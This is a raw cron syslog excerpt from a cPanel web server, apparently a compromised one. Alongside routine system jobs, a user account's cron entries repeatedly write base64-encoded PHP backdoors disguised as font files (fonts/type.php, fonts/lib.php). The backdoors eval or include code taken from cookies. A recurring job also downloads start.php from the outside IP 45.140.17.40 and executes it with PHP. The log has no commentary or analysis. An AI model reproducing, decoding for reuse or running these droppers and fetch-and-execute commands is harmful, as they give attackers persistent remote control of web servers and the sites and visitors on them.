Sep 11 04:33:01 ip-184-168-122-23 CROND[30796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:33:01 ip-184-168-122-23 CROND[30798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:33:01 ip-184-168-122-23 CROND[30801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:33:01 ip-184-168-122-23 CROND[30800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:34:02 ip-184-168-122-23 CROND[30892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:34:02 ip-184-168-122-23 CROND[30888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:34:02 ip-184-168-122-23 CROND[30889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:34:02 ip-184-168-122-23 CROND[30890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:34:02 ip-184-168-122-23 CROND[30891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:35:01 ip-184-168-122-23 CROND[31010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:35:02 ip-184-168-122-23 CROND[31013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:35:02 ip-184-168-122-23 CROND[31012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:35:02 ip-184-168-122-23 CROND[31015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:35:02 ip-184-168-122-23 CROND[31016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:35:02 ip-184-168-122-23 CROND[31014]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:35:02 ip-184-168-122-23 CROND[31019]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 04:35:02 ip-184-168-122-23 CROND[31017]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 04:36:01 ip-184-168-122-23 CROND[31131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:36:01 ip-184-168-122-23 CROND[31132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:36:01 ip-184-168-122-23 CROND[31133]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:36:01 ip-184-168-122-23 CROND[31134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:36:01 ip-184-168-122-23 CROND[31135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:37:01 ip-184-168-122-23 CROND[31252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:37:01 ip-184-168-122-23 CROND[31254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:37:01 ip-184-168-122-23 CROND[31257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:37:01 ip-184-168-122-23 CROND[31258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:38:01 ip-184-168-122-23 CROND[31425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:38:01 ip-184-168-122-23 CROND[31424]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep 11 04:38:01 ip-184-168-122-23 CROND[31428]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:38:01 ip-184-168-122-23 CROND[31431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:38:01 ip-184-168-122-23 CROND[31429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:38:01 ip-184-168-122-23 CROND[31430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:39:01 ip-184-168-122-23 CROND[31572]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 04:39:01 ip-184-168-122-23 CROND[31573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:39:01 ip-184-168-122-23 CROND[31577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:39:01 ip-184-168-122-23 CROND[31575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:39:01 ip-184-168-122-23 CROND[31578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:40:01 ip-184-168-122-23 CROND[31707]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:40:01 ip-184-168-122-23 CROND[31717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:40:01 ip-184-168-122-23 CROND[31718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:40:01 ip-184-168-122-23 CROND[31722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:40:01 ip-184-168-122-23 CROND[31721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:40:01 ip-184-168-122-23 CROND[31725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:40:01 ip-184-168-122-23 CROND[31726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:40:01 ip-184-168-122-23 CROND[31728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:41:01 ip-184-168-122-23 CROND[31838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:41:01 ip-184-168-122-23 CROND[31840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:41:01 ip-184-168-122-23 CROND[31841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:41:01 ip-184-168-122-23 CROND[31842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:42:01 ip-184-168-122-23 CROND[31950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:42:01 ip-184-168-122-23 CROND[31952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:42:01 ip-184-168-122-23 CROND[31955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:42:01 ip-184-168-122-23 CROND[31954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:42:01 ip-184-168-122-23 CROND[31956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:43:01 ip-184-168-122-23 CROND[32146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:43:01 ip-184-168-122-23 CROND[32147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:43:01 ip-184-168-122-23 CROND[32148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:43:01 ip-184-168-122-23 CROND[32149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:44:01 ip-184-168-122-23 CROND[32244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:44:01 ip-184-168-122-23 CROND[32243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:44:01 ip-184-168-122-23 CROND[32247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:44:01 ip-184-168-122-23 CROND[32245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:44:01 ip-184-168-122-23 CROND[32246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:45:01 ip-184-168-122-23 CROND[32355]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
